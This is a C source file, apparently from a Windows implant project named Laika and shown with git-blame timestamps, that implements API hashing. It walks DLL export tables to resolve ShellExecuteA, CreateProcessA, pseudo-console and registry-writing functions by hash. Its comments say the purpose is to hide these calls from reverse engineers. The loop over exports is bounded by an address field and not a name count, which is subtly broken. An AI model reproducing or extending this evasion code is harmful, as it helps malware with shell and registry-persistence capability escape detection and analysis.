2022-07-08 04:23:39 +00:00
|
|
|
#include "obf.h"
|
|
|
|
|
|
|
|
/*
|
|
|
|
Most of this file was adapted from
|
|
|
|
https://github.com/LloydLabs/Windows-API-Hashing/blob/master/resolve.c
|
|
|
|
|
|
|
|
Checkout their repository! All I did was minor formatting changes and some misc. cleanup
|
|
|
|
*/
|
|
|
|
|
|
|
|
#include <process.h>
|
2022-07-12 23:09:23 +00:00
|
|
|
#include <shlobj.h>
|
|
|
|
#include <shlwapi.h>
|
2022-07-08 04:23:39 +00:00
|
|
|
#include <windows.h>
|
|
|
|
|
|
|
|
/* ======================================[[ API Hashing ]]====================================== */
|
|
|
|
|
|
|
|
#define RESOLVE_NAME_MAX 4096
|
|
|
|
#define RESOLVE_REL_CALC(x, y) ((LPBYTE)x + y)
|
|
|
|
|
|
|
|
/*
|
|
|
|
getHashName(LPCSTR) -> uint32_t
|
|
|
|
uses the SuperFastHash algorithm to create an unsigned 32-bit hash
|
|
|
|
*/
|
|
|
|
uint32_t getHashName(LPCSTR cszName)
|
|
|
|
{
|
|
|
|
SIZE_T uNameLen, i;
|
|
|
|
PBYTE pbData = (PBYTE)cszName;
|
|
|
|
uint32_t u32Hash = 0, u32Buf = 0;
|
|
|
|
INT iRemain;
|
|
|
|
|
|
|
|
if (cszName == NULL)
|
|
|
|
return 0;
|
|
|
|
|
|
|
|
if ((uNameLen = strnlen_s(cszName, RESOLVE_NAME_MAX)) == 0)
|
|
|
|
return 0;
|
|
|
|
|
|
|
|
iRemain = (uNameLen & 3);
|
|
|
|
uNameLen >>= 2;
|
|
|
|
|
|
|
|
for (i = uNameLen; i > 0; i--) {
|
|
|
|
u32Hash += *(const UINT16 *)pbData;
|
|
|
|
u32Buf = (*(const UINT16 *)(pbData + 2) << 11) ^ u32Hash;
|
|
|
|
u32Hash = (u32Hash << 16) ^ u32Buf;
|
|
|
|
pbData += (2 * sizeof(UINT16));
|
|
|
|
u32Hash += u32Hash >> 11;
|
|
|
|
}
|
|
|
|
|
|
|
|
switch (iRemain) {
|
|
|
|
case 1:
|
|
|
|
u32Hash += *pbData;
|
|
|
|
u32Hash ^= u32Hash << 10;
|
|
|
|
u32Hash += u32Hash >> 1;
|
|
|
|
break;
|
|
|
|
case 2:
|
|
|
|
u32Hash += *(const UINT16 *)pbData;
|
|
|
|
u32Hash ^= u32Hash << 11;
|
|
|
|
u32Hash += u32Hash >> 17;
|
|
|
|
break;
|
|
|
|
case 3:
|
|
|
|
u32Hash += *(const UINT16 *)pbData;
|
|
|
|
u32Hash ^= u32Hash << 16;
|
|
|
|
u32Hash ^= pbData[sizeof(UINT16)] << 18;
|
|
|
|
u32Hash += u32Hash >> 11;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
u32Hash ^= u32Hash << 3;
|
|
|
|
u32Hash += u32Hash >> 5;
|
|
|
|
u32Hash ^= u32Hash << 4;
|
|
|
|
u32Hash += u32Hash >> 17;
|
|
|
|
u32Hash ^= u32Hash << 25;
|
|
|
|
u32Hash += u32Hash >> 6;
|
|
|
|
|
|
|
|
return u32Hash;
|
|
|
|
}
|
|
|
|
|
2022-07-08 04:38:03 +00:00
|
|
|
/* fork of the resolve_find() with the weird struct stripped. also library cleanup for the fail
|
|
|
|
condition was added */
|
2022-07-08 17:58:17 +00:00
|
|
|
void *findByHash(LPCSTR module, uint32_t hash)
|
2022-07-08 04:23:39 +00:00
|
|
|
{
|
|
|
|
HMODULE hLibrary;
|
|
|
|
PIMAGE_DOS_HEADER pDOSHdr;
|
|
|
|
PIMAGE_NT_HEADERS pNTHdr;
|
|
|
|
PIMAGE_EXPORT_DIRECTORY pIED;
|
|
|
|
PDWORD pdwAddress, pdwNames;
|
|
|
|
PWORD pwOrd;
|
|
|
|
|
2022-07-08 17:58:17 +00:00
|
|
|
if ((hLibrary = LoadLibraryA(module)) == NULL)
|
2022-07-08 04:23:39 +00:00
|
|
|
return NULL;
|
|
|
|
|
2022-07-08 19:43:13 +00:00
|
|
|
/*
|
|
|
|
the rest of this function just does the same thing GetProcAddress() does, but using
|
|
|
|
our hash function to find the right function. this is also more obfuscated to the
|
|
|
|
REer, however they would probably immediately recognize what this function is doing
|
|
|
|
just from the LoadLibraryA() call.
|
|
|
|
*/
|
|
|
|
|
2022-07-08 04:23:39 +00:00
|
|
|
/* grab DOS headers & verify */
|
|
|
|
pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary;
|
|
|
|
if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
2022-07-08 04:38:03 +00:00
|
|
|
goto _findByHashFail;
|
2022-07-08 04:23:39 +00:00
|
|
|
|
|
|
|
/* grab NT headers & verify */
|
|
|
|
pNTHdr = (PIMAGE_NT_HEADERS)RESOLVE_REL_CALC(hLibrary, pDOSHdr->e_lfanew);
|
|
|
|
if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)
|
2022-07-08 04:38:03 +00:00
|
|
|
goto _findByHashFail;
|
2022-07-08 04:23:39 +00:00
|
|
|
|
|
|
|
/* verify that this NT file is a DLL & actually exports functions */
|
|
|
|
if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 ||
|
|
|
|
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0 ||
|
|
|
|
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0)
|
2022-07-08 04:38:03 +00:00
|
|
|
goto _findByHashFail;
|
2022-07-08 04:23:39 +00:00
|
|
|
|
|
|
|
pIED = (PIMAGE_EXPORT_DIRECTORY)RESOLVE_REL_CALC(
|
|
|
|
hLibrary,
|
|
|
|
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
|
|
|
|
pdwAddress = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfFunctions);
|
|
|
|
pdwNames = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNames);
|
|
|
|
pwOrd = (PWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNameOrdinals);
|
|
|
|
|
|
|
|
/* walk library export table, compare hashes until we find a match */
|
|
|
|
for (DWORD i = 0; i < pIED->AddressOfFunctions; i++) {
|
|
|
|
if (getHashName((LPCSTR)RESOLVE_REL_CALC(hLibrary, pdwNames[i])) == hash)
|
2022-07-08 04:38:03 +00:00
|
|
|
/* return the pointer to our function. we don't worry about closing the library's
|
|
|
|
handle because we'll need it loaded until we exit. */
|
2022-07-08 04:23:39 +00:00
|
|
|
return (void *)RESOLVE_REL_CALC(hLibrary, pdwAddress[pwOrd[i]]);
|
|
|
|
}
|
|
|
|
|
2022-07-08 04:38:03 +00:00
|
|
|
_findByHashFail:
|
|
|
|
/* function was not found, close the library handle since we don't need it anymore */
|
2022-07-08 19:43:13 +00:00
|
|
|
FreeLibrary(hLibrary);
|
2022-07-08 04:23:39 +00:00
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
|
|
#undef RESOLVE_REL_CALC
|
|
|
|
|
|
|
|
/* ======================================[[ Exposed API ]]====================================== */
|
|
|
|
|
|
|
|
_ShellExecuteA oShellExecuteA;
|
2022-07-08 17:54:14 +00:00
|
|
|
_CreatePseudoConsole oCreatePseudoConsole;
|
2022-07-08 21:12:27 +00:00
|
|
|
_ClosePseudoConsole oClosePseudoConsole;
|
|
|
|
_CreateProcessA oCreateProcessA;
|
2022-07-12 23:09:23 +00:00
|
|
|
_RegOpenKeyExA oRegOpenKeyExA;
|
|
|
|
_RegCloseKey oRegCloseKey;
|
|
|
|
_RegSetValueExA oRegSetValueExA;
|
|
|
|
_RegQueryValueExA oRegQueryValueExA;
|
2022-07-08 04:23:39 +00:00
|
|
|
|
2022-07-08 21:12:27 +00:00
|
|
|
/* TODO:
|
2022-07-08 19:43:13 +00:00
|
|
|
GetEnvironmentVariable
|
|
|
|
*/
|
|
|
|
|
2022-07-08 04:23:39 +00:00
|
|
|
void laikaO_init()
|
|
|
|
{
|
|
|
|
uint32_t hash;
|
|
|
|
|
|
|
|
/* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */
|
2022-07-08 17:54:14 +00:00
|
|
|
oShellExecuteA = (_ShellExecuteA)findByHash("shell32.dll", 0x89858cd3);
|
|
|
|
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
|
2022-07-08 21:12:27 +00:00
|
|
|
oClosePseudoConsole = (_ClosePseudoConsole)findByHash("kernel32.dll", 0xeff42590);
|
|
|
|
oCreateProcessA = (_CreateProcessA)findByHash("kernel32.dll", 0x9e687c1d);
|
2022-07-12 23:09:23 +00:00
|
|
|
oRegOpenKeyExA = (_RegOpenKeyExA)(findByHash("advapi32.dll", 0x15041404));
|
|
|
|
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
|
|
|
|
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
|
|
|
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
2022-07-08 04:23:39 +00:00
|
|
|
}
|